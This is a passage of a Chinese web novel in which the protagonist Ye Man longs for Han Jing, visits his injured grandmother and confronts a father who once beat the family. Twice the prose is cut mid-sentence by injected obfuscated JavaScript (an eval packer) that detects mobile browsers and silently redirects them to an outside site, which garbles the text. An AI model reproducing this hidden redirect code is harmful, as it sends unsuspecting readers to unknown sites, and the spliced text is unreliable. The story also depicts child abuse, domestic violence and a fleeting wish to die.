叶满觉得自己很疲惫,他的能量总是会很快消耗光,就像一个蓄电能力很差的电池,每一次情绪剧烈起伏后,他的电量就会快速泄露,导致大脑昏沉沉,脸上好像都蒙了一层看不见的罩子,难以与外界链接。 今天他的电量比以前耗光的速度都要快,因为韩竞离开了,也带走了他的一部分情感和精力。 阳光暴晒的夏季,江水晃得人睁不开眼,公交上没多少人,同事正喋喋不休,他的目光落在窗外,而手机嗡嗡响了一下。 好几次了。 他今天消息很多,是韩竞发来的。 他应该是在问自己为什么不回消息。 叶满仍然没有打开看。 银行很快就到了,叶满浑浑噩噩下车,同事亦步亦趋跟在他身边,像一个毒害植物的僵尸,走一步往叶满身上喷一口毒水。 叶满已经快麻木了,走进已经和公司一样熟悉的银行,他熟练取了号,向休息区走。 然而他刚刚挪动一步,立刻有人迎了上来,是银行经理,他笑容满面地和叶满打招呼:“您过来了,怎么也不提前招呼一声?” 叶满反应迟钝地看他,后知后觉想起来,自己是把八千万存在这个银行的,因为这里他最熟悉,觉得安全。 当时他要求保密,是这个经理替他办理的,除了这人谁也不知道。 他慌了一下,立刻看向旁边的同事,果然那个同事正惊讶地看过来,眼神儿在俩人身上来回转。 来办业务的都知道这经理不苟言笑,特别严肃,怎么就对叶满这么热情了? 叶满可不敢让他想下去了,立刻说:“我来办公司的事儿。” 经理多精啊,立刻会意,转头吆喝了声儿,说:“小王,你来办一下。” 这是不用排队的意思。 叶满叹了口气,没再说什么,拖着步子往窗口去了。 经理给叶满送来了咖啡和茶点,全程陪同,搞得叶满特别局促和紧张。 因为他办理业务曾经被银行工作人员为难过很多次,现在被簇拥、被尊重,不是叶满的赢得的,叶满清楚,是因为那从天而降的八千万。 这份尊重不属于他,他觉得自己是某个冒名顶替的小鬼儿。 同事亲热地和经理攀谈起来,一幅成功人士的模样,他抱着胳膊,特意把星巴克对准经理,说起了理财的事儿,也不知道他从哪听来乱七八糟的消息,每一句话都没谱,好在,他的注意力终于不在自己身上了。 业务办理得比平常都要快和顺利,他完成后立刻跑路,出了银行才放松一点。 而这时候,他忽然听到有人叫了他一声。 “叶满——” 他转头看,在并不宽阔的马路对面看到了刑昭。 这个世界可真够小的…… 对面是一所大学,那个男生正和朋友们一起,说说笑笑,阳光开朗。 他惊喜地对叶满招手,然后抛下朋友们,大步向叶满跑过来。 一辆出租车停下。 叶满抿唇看他一眼,拉开车门,上了车。 离开那条街,刑昭的消息出现在屏幕上:“你跑什么?我又不是洪水猛兽!” 叶满甚至可以想象出来那个娃娃脸鼓起腮帮子的可爱模样。 但是他没什么感觉。 他呆了几秒,回复:“把精力放在其他客人身上吧,我只是一个穷鬼。” 刑昭的消息快得不可思议,他说:“你把我当什么人了?我已经不做了,也没什么其他客人,我不是因为钱才找你!” 啊……自己说话是有点过分。 叶满有些愧疚:“你找我有什么事吗?” 刑昭:“我只是想真正认识你一下,我喜欢你。” 叶满莫名其妙想起了韩竞,在离别的时候,韩竞说了一段话,但是他反应很慢,那会儿没记住。 现在回想,竟然又完整出现在脑子里——“我不在这儿,别跟别人乱撩,否则让我知道了,就把你连同那个小三一起扔无人区喂狼。” 叶满无意识地轻轻弯起唇,慢慢输入,假装老登的爹味儿角色委婉拒绝:“好好读书,你还小。” 他点开了韩竞的对话框。 从早上到这会儿,他发了五六条的消息。 最近的那一条是:“工作那么忙吗?都没空理我。” 他那充沛的想象力让他不由自主想到韩竞说这话时的表情,那个剃着青茬儿的酷哥,现在应该在遥远的青海格尔木,他或许正坐在沙发上,皱着眉看手机,一幅不满和委屈的样子。 即使他没见过这个高鼻深目的帅哥委屈。 这样的想象让他心悸,一时的情难自控让他做出了违背本意的反应。 他点开键盘,轻轻敲字,忍不住回复了。 “工作很忙。”他熟练撒谎。 “你在做什么?”他试探着想要了解对方的动态。 手机“叮”的一声。 韩竞:“在吃饭。” 叶满正要回应,屏幕弹出了视频通话。 叶满吓得抖了一下,他快速戴上耳机,然后切换语音通话,深吸一口气,点了接听。 “韩竞。”他轻轻开口。 “嗯,”韩竞低沉好听的声音直接传入他的耳朵,让人麻酥酥的,男人温柔地开口:“在干嘛?” 叶满低着头扣自己的手指,腼腆地答:“刚办完业务。” 韩竞:“工作很忙吗?” 叶满:“嗯……嗯。” 韩竞:“那就不忙的时候回我消息,我差点以为你不想要我了。” 叶满:“……” 韩竞太敏锐了,叶满心脏猛跳了几下。 他轻轻开口:“你……你什么时候再来?” 韩竞轻微叹了口气,似乎有些烦闷,说:“不确定,这边出的事有点麻烦,有个客人死民宿里了。” 叶满:“……” 这实在不是他的认知范围内的事,茫茫然地“啊”了声,说:“那你没事吧?” 韩竞那边传来“咔哒”的一声儿,应该是点了根烟,再开口时声音有些闷:“没事,就是不一定什么时候能去找你。” 叶满只留神了这一句话。 模棱两可代表不会付诸实践。 他太理解了,西北那么远,隔着大半个中国呢,机票都可多钱,哪有人会再来找一个只处了两三天的人。 他轻声说:“我知道。” ——“叶满。” ——“到了。” 两个声音同时响起,一个是来自耳机,一个来自现实世界。 叶满抬头看,他已经到小区楼下了。 “我挂了,要付车费了。” 叶满说出这句话的同时,听到耳机里的男声低低道:“叶满,我想你了。” 仿佛有刚采过蜜的蜂在他心尖尖儿上蛰了一下,这一下的表白让叶满酸涩又心动。 “嗯,那先挂了。”韩竞显然听清了那句话。 叶满应了声。 他脑袋乱糟糟的,付了车费过去,开门下车。 脚踏在了地面。 然而他却没能成功下去。 他的一只脚已经落在地面了,可人在车上下不去了,他用力向下挣扎,心里想着真是见鬼了,急得满头大汗,怎么就是下不了车呢? 直到司机倒抽一口气,纳闷儿地开口:“嘶……老弟,你要背我车上楼啊?” 叶满:“……” 叶满丢死人了,匆忙解开那个把他绑得牢牢的安全带,低着头跑路了。 他假装人类外出漏了陷,进入单元楼,才缓了口气。 蔫巴巴进了家门,已经是下午两点半了。 相当于他提前一个半小时下班,这个时候阳光正洒满卧室,亮堂堂的。 他快速冲了个澡,躺在柔软的大床上。 被子被阳光晒了一天,干燥松软,很舒服。 他打开手机,准备看看工作群里有没有什么动态,刚刚点进去,就见副所长更新了一条消息。 “七月十号去拉萨的人定下来了,我、李梅梅、王壮壮、叶满、孙媛。” 叶满的心彻底死了。 副所长:“以上人员提前半个月喝红景天,提前适应高原海拔。” 叶满没时间思考这东西管不管用,他只担心一个问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424861|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题,孙媛替他问出来了:“领导,我下个月有事,能换个人去吗?” 副所长:“工作重要,克服一下。” 就在这时,群里又冒出一个人来,李梅梅:“收到!” 叶满:“……” 果然,不多时,副所长说:“都向李梅梅学习学习。” 叶满心里有一种不详的预感,他觉得这次拉萨的出差任务,恐怕会很艰难。 手机扣下,他把脸埋进枕头,昏昏沉沉睡着了。 再醒时照在床上的光已经从灿烂的太阳换成了银白月光。 叶满睁眼时,立刻陷入一种悲伤和孤独中,这是他每一次在下午睡觉都会产生的感觉,小时候就经常出现。 为了抵抗孤单,他打开灯,并放开了一个电影。 把小土豆下锅,他准备绊一个皮蛋凉菜,刚走进客厅,他的电影停止了。 他拿起手机,是家里打来的电话。 妈妈先是关切了他几句,然后说:“叶儿,你都半年没回来了,什么时候能回家看看啊?你爸想你想得边喝酒边哭。” 叶满上一次回去还是过年,一大家子吃饭,爸爸在姥姥家,把一桌大伙儿辛辛苦苦忙了一上午的饭菜直接给掀了,碗盘碎了一地。 他觉得丢人又难过,一大家子吵吵嚷嚷,拉架劝架,只有叶满呆呆站在一边,看着脚下那盘他期待了很久的烧鹅,混上了碎瓷片与灰尘,没法再吃。 他是想哭的,但是又想起来,姥姥说过年不能掉眼泪,否则这一年的福气就哭走了。 他怔了一会儿,转头看自己锅里的小土豆,心不在焉地含糊回道:“我过段时间要出差。” 妈妈:“你姥姥刚做了手术。” 叶满心里一跳,急忙追问:“什么手术?” 妈妈:“那老太太出门的时候摔在地上了,腿不会走了。” 叶满心焦地要命,心惊胆战问:“怎么样了?什么时候的事?怎么没告诉我?” 妈妈:“刚从医院回来,怕你担心就没说,我也懒得去看,你要是回来替我去看看。” 去年过年后,妈妈也没去过姥姥家了,她埋怨姥姥姥爷把给了她二十年的土地收回,交给了他们的儿子,这也是爸爸掀桌子的原因。 贫穷家庭就是这样,那一点在外人看来微不足道的利益,就能引起滔天巨浪。 叶满:“我回去,我今天就回去。” 明天是周末。 从春城回家有二百多公里,如果开车也需要三四个小时,现在已经天黑了。 叶满挂断电话,把锅里刚放进去的土豆拿出来,扔进垃圾桶,然后飞速关掉水电煤气,进房间里换了身衣服,直接下楼。 他找的网约车已经在等了。 叶满心里很慌,姥姥快八十了,他总是有一种她会随时离开自己的感觉。 叶满算是姥姥带大的,小时候家里很穷,爸妈总是忙忙碌碌。 爸爸不喜欢干重活儿,所以总想找点轻松的工作去做,二十来年赚的都是些零钱,家里一直很穷。而妈妈又总是想跟他一起,即便他打她、骂她,把她打到爬不起来,然后开着拖拉机要从她身上碾过去。 小时候的叶满每次从姥姥家回来,大部分时候都是看到爸爸在冷暴力,或者在打妈妈,前者会让他恐惧得呼吸发咸,就像一把刀悬在头顶,随时会落下来,遇上后者,叶满多半会吓得嘶声大哭,然后跪在爸爸面前,不停给他磕头。 他的脑门儿磕在砖地上,震得颅骨发麻,他不会减轻力道,他总觉得自己磕得越用力,爸爸打妈妈就会轻一点,他双手合十,像小狗求人那样两只爪子不停摆,祈求他,嘴里往往麻木地念叨着:“求求你,求求你,别打了,打我吧,求求你,爸。” 大多数时候,爸爸会连他一起打,如果事情太严重,看着爸爸拿起刀了,他就赶紧跑,跑到姥姥家求救。 两家离得很近,有时候是姥姥过来,爸爸会骂骂咧咧停手,但是指着妈妈骂得非常难听,有时候是姥爷过来。 那回妈妈差点被爸爸用车压死,是姥爷过来救了妈妈,他把女儿从地上拖起来,拿着棒子就去追打叶满爸爸。 姥爷一直不喜欢叶满的爸爸,是因为这桩桩件件。 爸爸总是充满愤怒,叶满长大后无数次思考探究,觉得他好像认为是自己和妈妈拖累了他的人生。 15. 第 15 章 网约车司机是个沉默寡言的中年男人,车里有淡淡的尿骚味儿,但是叶满并不介意。 他们上了高速,这会儿路上没什么车,一路坦途。 两侧是黑漆漆的夜色,像是沉寂的荒原,那么孤单。 握在掌心的手机震动一下,他迟钝地从窗外收回目光,落在手机屏幕上。 是爸爸又发来的消息:“儿子,什么时候到家?吃饭了吗,我刚给你买了烤鸭。” 这一路上,他已经打了三通电话,发了 叶满呆了一会儿,慢吞吞回复:“到家都半夜了,你们先睡吧。” 爸爸:“哪能睡?你在路上,我担心得睡不着。” 叶满想要说点关心的话,可他实在觉得难以出口,只能不再回。 聊天界面有很多条未读消息,多数是工作信息,他机械地一个一个点掉。 手指在一个对话框上悬了片刻,那条对话框没有更新,韩竞没再给他发消息。 叶满沉默片刻,手指轻轻落下。 长按,删除对话框。 于是,他们相识以来的所有聊天信息,都消失了,就像第二天的大扫除,把韩竞存在过的痕迹一点点抹除一样。 他不敢睡觉,怕司机犯困,那条路太远了,到地方都半夜了也未必能找到地方休息,他决定再给这位司机加点钱。 十一点多,到了家门口,大门正敞着,家里那两间小平房亮着灯,窗帘没拉,外面总是比里面看得更加清晰,能看见爸爸正在屋里走来走去,像是在焦虑一样,妈妈在厨房忙碌。 大概是听到声响,两个人一起跑了出来。 叶满下车,多给司机塞了一百块钱,弯腰跟里面的人说:“往东六里有个镇子,那儿有招待所,辛苦你了。” 司机乐呵呵接了钱,说自己直接回冬城,就掉头走了。 而叶满心里却有一点不好受,他看着车远去的光线,就像这个没有路灯的陌生乡村里一盏孤独的灯,深夜一个人在为了生活奔忙,二百多公里的路,司机得一个人在深夜里跑回去。 他已经付过钱了,他也多给了一百块,可他还是内疚,或者说他很容易把别人的感受投注在自己身上,替别人感到压力、孤独和疲惫。 他总是这样。 爸妈迎了上来。 对于他回来一趟花了五六百块的事儿,妈妈非常不满,她一直在唠叨,叶满走到哪里她唠叨到哪里。 叶满很困。 他想去姥姥家看看,但是姥姥家的灯已经灭了,只能跳过墙进去,趴在窗边偷偷往里看。 手电灯光照进去,他看到半年没去的姥姥家的地上,多了一幅拐杖,还有一个轮椅。 这让他有点难过,他觉得时间过得太快了,他好像还是个孩子,但姥姥已经老去了。 “别说我儿子。” 爸爸笑着训斥喋喋不休的妈妈,给叶满倒了水,笑着说:“我儿子爱做什么做什么。” 夏季的乡村夜里总是吵闹的,夏虫和青蛙像星星一样,分布在田野与山间,叫起来时就织成了网,此起彼伏,有自个儿的调调,风吹过作物和树林的声音刷啦啦,很像像海浪翻涌的声音。 这样的背景音里,村子里的人都已经睡下了。 爸妈高高兴兴说着话,互相打趣,和睦又温馨。 叶满太累了,他脸上甚至没办法撑出太大的笑意,吃饭速度很慢。 爸爸留意到他的脸色,关心地询问:“儿子,是不是工作不顺心?” 叶满摇摇头。 “不顺心就回来,”爸爸说:“爸养的起你。” 叶满笑笑,没吭声。 爸爸拍拍他的肩:“你得学着坚强点,你看我年轻的时候,每天干那么重的活儿也没像你一样。” 叶满心底涌出一股子焦躁,他讨厌这个人的说教,而且他没有什么不顺心,他只是累。 蛾子绕着钨丝灯泡飞舞,阴影一起一伏落在饭桌上,叶满打断了爸爸像教育三岁孩子一样的语调对他的耐心教导。 叶满三岁时只收到了来自这个人的恐怖殴打与攻击,生活在恐惧之中,没有人对他慢声细语说话,他现在已经二十七了,他已经不是小孩儿了,可他得到了这样的待遇。 他除了可笑荒诞与嫌恶,没有任何其他感觉。 他慢吞吞说:“我就是路上有点累。” 妈妈解救了他:“给你铺好床了,快去睡吧。” 叶满很累很累了,却根本睡不着。 他的身体很沉,脑袋里有一根神经一闪一闪地疼,就像是有个看不见的小人在里面,一会儿就弹一下。 家里还是原来的老房子,但是叶满已经不和爸妈一起睡了,他睡在一张折叠床上,在大堂靠近门口的位置,这里他能听到蝉鸣声很大,几乎贴着他的耳朵在叫。 爸爸已经完全变了,他不再像叶满小时候那样频繁打人,不会拿着菜刀砍妈妈和自己,不会开车撞他们。 恍恍惚惚间,叶满有点想不起来爸爸有多少年没对他动过手了。 枕侧的手机忽然震动一下,叶满迟钝地点开看,是韩竞发来的。 他眯着眼睛,微凉的指尖摸着那行字,一个一个看过去。 韩竞:“小满,我给你买了个礼物,明天就到了。” 他知道叶满失眠,这个时间或许还在睁着眼睛。 叶满在心里说:“我不要。” 韩竞没再发消息过来。 叶满敛眸,关掉了手机屏幕。 太阳升起时,天边总是先红一块儿,乡村和城市的清晨不同,五点钟多数人家就已经起了,开始一天的劳作。 叶满不喜欢太阳刚起来那会儿,因为爸妈总是早早起来,一言不发地忙碌,大部分时候他们心情都不好,叶满如果早起,多数会被骂碍事,如果不起,他就会非常愧疚。 因为那往往伴随着爸妈的那种话——“我们努力都是为了你”、“我们是因为你才这么累的”、“真享福啊,躺在那儿就有人伺候。” 露水从向日葵的圆叶子上滚落下来,麻雀在屋檐上叽叽喳喳。 叶满躺在折叠床上,闭着眼睛,他听到爸妈轻手轻脚的忙碌和交谈,爸爸说小声点,别吵醒他,妈妈走过来,在叶满身旁放了她洗干净的、叶满曾经穿过现在不稀罕要了的旧衣裳。 叶满眼眶一阵酸涨,他觉得生活很美好,可又有什么,强压在这种感觉之上,他无法踏实去体验这种温暖,他觉得这种美好像是架在空中的楼阁。 爸妈都去了院子里,他才睁开眼睛,沉默地换好衣服,那些他早就抛弃的衣服被妈妈保存得非常整洁,和她那少数几件外出才会穿的体面衣服放在一起,好好保管。 有一种木头柜子特有的闷气。 他穿着这件衣服去了姥姥家,姥爷已经七八十岁,但是仍然硬朗,一大早就在院子里忙碌,浇水除草。 看叶满回来,立刻停下动作,那张布满褶皱的脸上稍微露出了点笑模样,扬声问:“什么时候回来的?” 叶满也吼了回去:“昨天晚上!” 姥爷的耳朵聋了挺久了,记不清楚从什么时候开始的,叶满在他身边长大,可有些变化他只是懵懂无知。 姥爷点点头,又低头继续劳作,叶满和他没什么话说,即使已经半年没见了。 他进了姥姥家的房子,小砖房里头落了一层油腻腻的灰,粉色的苍蝇药被装在碟子里,放在地上,里边倒下一层黑乎乎的苍蝇尸体。 姥姥坐在炕头,苍老的脸上泛红,那是高血压导致的,她正发着呆,叶满不知道她在想什么,是想自己癌症死去的大儿子,还是早就移居深圳,一年也不会联系她两次的儿子。 或者,她是在想自己的腿,以后或许离不开拐杖,离不开家门了。 叶满有点想哭,姥姥说他眼窝子浅,一个男孩儿,却总是爱哭,他上网查了,人家都说这叫泪失禁。 他走进屋子,姥姥这才看见了他。 她立刻笑起来,可叶满总觉得她呆呆的,眼睛看着自己,却在走神。 叶满很怕她不认识自己了,走过去,蹲在她脚下,弯唇说:“姥姥,你腿好点了吗?” “你怎么回来了?”姥姥笑呵呵说:“我没事啊。” 叶满看见,姥姥的腿正在发抖,即使她正静止着,她的腿仍在不断发抖,以肉眼可见的频率。 叶满小时候会和表弟一起给姥姥按摩腿,他们都是在姥姥家长大的,那时候姥姥很能干,她会绣花、做鞋,也能上山下田,晚上昏黄的灯光下头,他给姥姥捏手骨节、捏腿,姥姥说:“明天要下雨了,因为关节开始疼了。” 现在,孩子们都长大了,已经离开了这个老房子,她一个人坐在那里,就像被遗弃在岁月里的一尊土雕像。 叶满碰她一下,都怕把她弄坏了。 他还是哭了,趴在姥姥身上,哽咽着哭,没出声来。 屋子里那颗十来年的老月季开着花,年年就那么一两朵,夏天的风从窗外吹进来,摇曳着花枝,些微搅动这满屋子阴闷的潮气。 姥姥的手搭在腿上,她低头看叶满,用一种茫然的语气说:“哭什么?” 叶满没说话,她又说:“你也不嫌弃我身上不干净。” 叶满怎么会嫌弃呢? 他撸起袖子,利索地收拾起了房子。 柜子、电器、脏衣服,一样一样擦,一样一样洗。 姥姥看着他忙来忙去,偶尔搭句话,叶满回一句,她都好像要想好一会儿似的。 等弄完了,屋子里亮亮堂堂,已经快中午了。 他累着了,爬上炕,躺在姥姥的枕头上睡着了。 再醒的时候已经过了晌午,姥爷做好了饭。 叶满不喜欢他做的饭,总是乱炖。 他有点懊恼,本来应该他做的。 刚搬了个凳子坐下来,妈妈给他打电话,让他回去吃。 叶满让他们先吃,陪两个老人吃了午饭。 他预备下午带着姥姥出去透透气,有轮椅 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又是这样,又是这样,她总是做这样的事,一件无意义的事,一句随口的话,就让叶满充满愧疚。 妈妈继续吃她的葱姜蒜,说:“我刚刚说李平要结婚了。” 叶满盯着那盘足够三四人吃的土豆鸡翅,说:“我不关心。” 妈妈啧啧道:“人家现在可牛了,成了个护士,一个月七千呢。” 叶满咬了下嘴唇,淡淡说:“别说他了。” 妈妈兴高采烈地说:“你认识他老婆不?你们高中是一个学校的。” 叶满:“我不想听别人家的事。” “小两口看着关系可好了。”妈妈:“十一结婚,你去不去?” 叶满的手有点发抖,好像有什么东西从心底溢出,越来越浓,几乎冲出他的脑壳。 他放下筷子,有些尖锐道:“不要再说了!” 他太难受了,每一次他都要和妈妈说好多遍,她才能真正听一下自己的诉求。 比如他小时候不爱吃面条,每一次超过半碗就会生理性恶心,爸爸不在的每一天晚上她都问叶满,明天吃什么。 叶满说想吃肉。 妈妈忽略他的话,问:“面条行吗?” 叶满说他不爱吃面条。 妈妈第二天做饭前,又会说一遍:“咱俩做点面条凑合吧。” 叶满再次说他不想吃。 妈妈把面拿出来,自说自话:“咱俩吃点面条就行了。” 直至叶满崩溃,小小的他站在一旁,大哭着说:“我不要吃面条,我不想吃面条!我吃面条会胃疼!” 可面条已经做好了。 他不想听一个欺负过自己的人过得多好多好,妈妈明知道自己被他欺负过,根本不会去参加婚礼,他更难过的是妈妈从来不听他讲话,直至他大发脾气。 妈妈连忙小心翼翼地说:“吃饭吃饭,不说了。” 叶满已经没有任何胃口,他觉得自己的情绪很差,就想有一团火,忽然喷发出来,又因为顷刻没了针对物,只能隐隐灼烧着自己的心脏。 人在情绪低落的时候,是真的会丧失味觉的,叶满现觉得嘴里的东西就像蜡一样难吃。 他缓了口气,低头,继续慢慢吃。 妈妈不再说话,就像每一次被爸爸训斥后的样子一样,小心翼翼的。 这让叶满更加难受,明明窗开着,充满苍翠绿色的清新空气正在流通,他却觉得窒息。 他内疚自己不该发脾气,恐惧自己终于变成了爸爸一样的人。 没过多大会儿,大门外响起了车声。 叶满闷着头,没有向外看。 有男人吵吵嚷嚷的交谈声从院外传过来,叶满的心脏顺时捏紧,觉得鼻腔里都是那种臭烘烘的酒味儿,还有,一种恐惧的厌恶。 脚步声走近,纱门被推开,爸爸和三叔走了进来。 叶满没有向亲戚打招呼,因为他没礼貌,而且对于这些从小到大并没有对他有过什么宠爱的长辈们有什么感情。 小时候这种行为会让爸爸生气,他认为叶满不是场面人、给他丢脸。每次见亲戚时都要冷着脸给他使脸色,让他怕得战战兢兢,浑身发抖,只要出了门,亲戚看不到的地方,或是树林,或是人来人往的街道,他就会用大巴掌抽叶满,用脚踹叶满的头。 叶满村子里有个大头娃娃,是个智商不太好的男孩儿,他三岁的时候不小心被家长开车压过脑袋,以后就长不高了,而且脑袋还越来越大。 叶满怕自己也变成那样,就蜷缩在地上用力抱着头,求他不要打了,别让自己变成大脑袋。 现在爸爸不会这样了,他用一种很骄傲的眼神儿看叶满,笑得心满意足,醉醺醺的大舌头张扬地问:“怎么了儿子?看着不高兴呢?” 叶满试图笑笑,可一呼吸他就能嗅到那种让人作呕的酒味儿。 叶满低下头,没吭声。 16. 第 16 章 爸爸也不在意叶满忽视他,摇摇晃晃对叶满妈妈说:“跟你说,别欺负我儿子,这是我家宝贝。” 叶满觉得这个词汇太羞耻了,以至于他浑身起了一层鸡皮疙瘩,这种词不应该出现在这个家庭,太肉麻也太亲近了,有种边界被入侵的强烈不适感,叶满甚至想要冲上去捂住他的嘴,把那两个字塞回去。 妈妈皱眉说:“你别喝上点酒又没完。” 不像以前,这样的抱怨说完,爸爸就要凶狠地打人了。 现在的他,以一种宠溺的语气温柔地妥协:“行了,都嫌我烦,我家里地位最低了,赚钱给你娘俩花。” 有亲戚在这儿,妈妈嗔他一眼,就好像这年近花甲的俩人一向这样恩爱,阳光晒进来,就像这个家庭一向这样温馨和睦,就像只有叶满,还活在那个总是遍体鳞伤战战兢兢的小壳子里。 “你别欺负你妈,”爸爸心情好,又故作训斥的说:“她只能我来欺负。” “你凭什么欺负她!” 叶满几乎是应激而出的一句极冷极冷的话,让场面顺时静了下来。 爸爸脸僵了一下,亲戚看着气氛尴尬,推爸爸进门了。 叶满充满厌恶与憎恨的眼神被爸妈看得一清二楚,但是爸爸没说什么,妈妈低低跟他说:“别气你爸,他身体已经没以前那么好了。” 叶满低下头,魂不守舍地戳着碗里的白米饭。 叶满没想气他,他就是忍不住,他控制不住对那个人产生对抗情绪,就像面对一生最大的敌人,那个人做什么叶满都觉得厌恶,厌恶到从心底涌出一种强烈的恶,他甚至想,自己和那个人前世一定有不共戴天的仇恨,今生才会这样互相折磨。 爸爸只要在家里,叶满就不喜欢在家里待着,否则他会觉得整个空间都很紧绷,他的一举一动都会非常紧张,要关注爸爸的脸色才敢进行下一步动作。 即使他只是想要喝一口水。 他去了姥姥家,两个老人家已经开始睡午觉了。 叶满脱掉鞋,爬到两个人中间,在那没了被罩的陈年被褥上躺下。 姥姥听到声响,睁开眼,轻轻说:“你也不嫌我不干净。” 夏天的风吹进来,就像姥姥的声音一样安稳。 叶满弯起唇,说:“我给你揉揉腿吧。” 姥姥笑呵呵说:“睡吧。” 明天早上他就要赶火车回冬城了,和同事汇合。 他也只能在家里待这一天。 叶满睡不着,他上午已经睡了。 他又打开了手机。 手机上有一条快递的短信息,上面显示到了一个包裹。 叶满没买过任何东西。 抿唇看了那条消息一会儿,轻轻点击屏幕。 电话显示已拨出,嘟嘟嘟三声响后,对面接起。 “喂?”叶满声音很轻地说:“这个号码的快递,帮我拒收吧。” 他又睡着了,睡了不到半个小时,庭前树影已经不动声色东移了一个角度。 姥爷在看着无声电视,因为他认为没声音省电费,有时候叶满加一点声音姥爷就会训斥他浪费电字,但是大哥哥放出声音姥爷就不会说。 叶满知道,这是因为自己是外孙,比他的孙子多了一个“外”字,他永远隔着一层亲。 这也导致姥姥也只能看无声电视,姥姥不识字,所以只能看图画,大多数时候,姥姥都是盯着电视静静发呆,叶满不知道她有没有看懂。 他把轮椅翻了出来,推到门口,想要带姥姥出去,姥姥却又犯起了懒,她咬着一截儿榆树条,摇摇头,说:“不想出去咯。” 叶满觉得,现在姥姥和自己有一点像,她老是沉浸在自己的世界里,别人进不去。 他觉得很难过,又着急。他想着,明明他就坐在姥姥面前,可为什么看她那么孤单,自己却找不到门进去抱抱她呢? 院子里比叶满小几岁的大树已经长得很高,茂密的叶子在风中哗啦啦响。 他和姥姥说一些自己的事情,他的生活实在无聊,只能胡编乱造一些,比如把别人身上发生的得意事安在自己身上,比如说前些天和朋友一起去越野了,事实上他根本没去,姥姥听不懂“越野”,但是听见叶满说,就会努力集中注意力。 就像幼时,姥姥终于得闲的时候会陪在他身边,就这样坐着,跟他一起翻花绳。 现在轮到他不忙的时候陪着姥姥,可他已经离开家了,这样的机会一年没二三。 一直到太阳西斜,叶满给两个老人做了一桌子饭菜,两个人吃饭时是不交谈的,安静得要命,不再像二十年前,两个人常常争吵,姥爷一言不合就掀桌子,姥姥边哭边收拾。 人老去以后,真的没有意思。 叶满想,自己在变老之前就死去吧。 他找不到生活的意义,心中没有一刻安宁,他过去的二十七年里,每一天都过得非常痛苦,他太累了。 回到家里,妈妈又在做饭。 三叔没走,正和爸爸闲聊,屋子里满是呛人的烟味儿。 叶满没进去,走到厨房帮妈妈干活儿。 妈妈正低着头,看上去有点没精神。 被烟熏得黢黑的墙壁、满地零碎的柴草,还有那一堆等着清洗的碗碟,这是妈妈每天要来的地方。 叶满心底涌起强烈的心疼,他想,还是告诉妈妈自己现在很有钱的事吧,她一定很开心。 “妈……”叶满小声问:“你怎么了?” 叶满妈妈一直低着头烧火,闻言也没抬起头来。 她这样明显是受了委屈。 叶满猜到这是来自谁,心底涌上一阵焦躁,他替妈妈刷起了碗,低低问:“他又发脾气了?” “我就说不让他帮忙,显得他勤快似的,”妈妈压着嗓子,顾及面子不让屋里的客人听见,委屈地说:“每一次来人都这样,进来一趟又一趟,一遍遍催,在别人眼里好像他做了多大事似的,除了碍事什么也干不了。” 叶满:“……” “我说不用他添柴火,让他出去,”妈妈愤愤地说:“他沉着脸就把他填进去的柴火又给抽出来了,仍在厨房里,烧了半截了,全是烟和火,我吓得赶紧用水浇灭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424863|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 叶满觉得特别窒息,导致他太阳穴一突一突地跳,他利索地刷着碗,低低说:“妈,你跟他离婚吧,好不好?” “离婚?”妈妈笑了声:“日子好不容易好起来,他也不像以前那样了,离婚我还怎么过日子?” 叶满:“我养你,你要是愿意就给你再找一个。” 妈妈:“唉,哪还有他这样的好人了?” 叶满就闭嘴不说话了。 有些人很矛盾,他既好又坏,他既没有责任感又能撑起一个家,他既暴戾又教导着孩子善良为人。 叶满进屋子里拔充电器,拔完就往门口走,闷着头,一声没吭。 爸爸在后面笑着叹了一句,颇无奈似的:“从小都让我溺爱坏了,也不知道叫人。” 爸爸一直认为叶满是被宠大的孩子,而且是极度溺爱环境下长大的,这和叶满的记忆大相径庭,他常常感到困惑,是否自己的记忆出过错误。 从里屋出来,大门外又来了一个人。 是三叔家的女儿,叶满应该叫妹妹来着。 他和这个妹妹关系还算融洽,大概因为年轻人个性总是自由包容一点,虽然平时他们不联系,但见面还算亲近。 小姑娘进来就笑眯眯和叶满打了招呼,站在外间和他闲聊。 叶满勉强扬起笑,他并不高兴,他已经在家里待够了,他想要回到只有自己一个人的地方待着。 叶满把手机充上电,准备继续帮妈妈忙,余光忽然扫见了什么。 叶满穿回来的衣服正放在他睡觉用的折叠床上,短袖、裤子,整整齐齐铺在上面,甚至不是叠起来的,全部平铺。 很难形容那种感觉,就像整个人瞬间被污染了一样,心脏表面附着上密密麻麻的病毒与细菌,裹得他觉得喘不过气。那些是他从冬城一路回来,在充满尿骚味的网约车上带回来的,而那不怎么干净的座椅上,可能会坐过形形色色的人,他们或许刚上过厕所、或许摸过什么脏东西…… 最后都被自己粘上,带回家里。 他回来后把这些衣服扔到床底的篮子里,特意和屡次靠近它们、试图保存起来的妈妈说了至少三遍。 这些衣服很脏,不要碰到我的床。 这些衣服很脏,不要碰到我的床。 这些衣服很脏,不要碰到我的床。 叶满感到一种强烈的焦躁和恼怒,他甚至无法压抑下去,手抖的同时,他又感觉到了背痛。 为什么会这样? 本来放得好好的衣服不仅在床上,而且还铺得整整齐齐,把整张床污染得那样均匀。 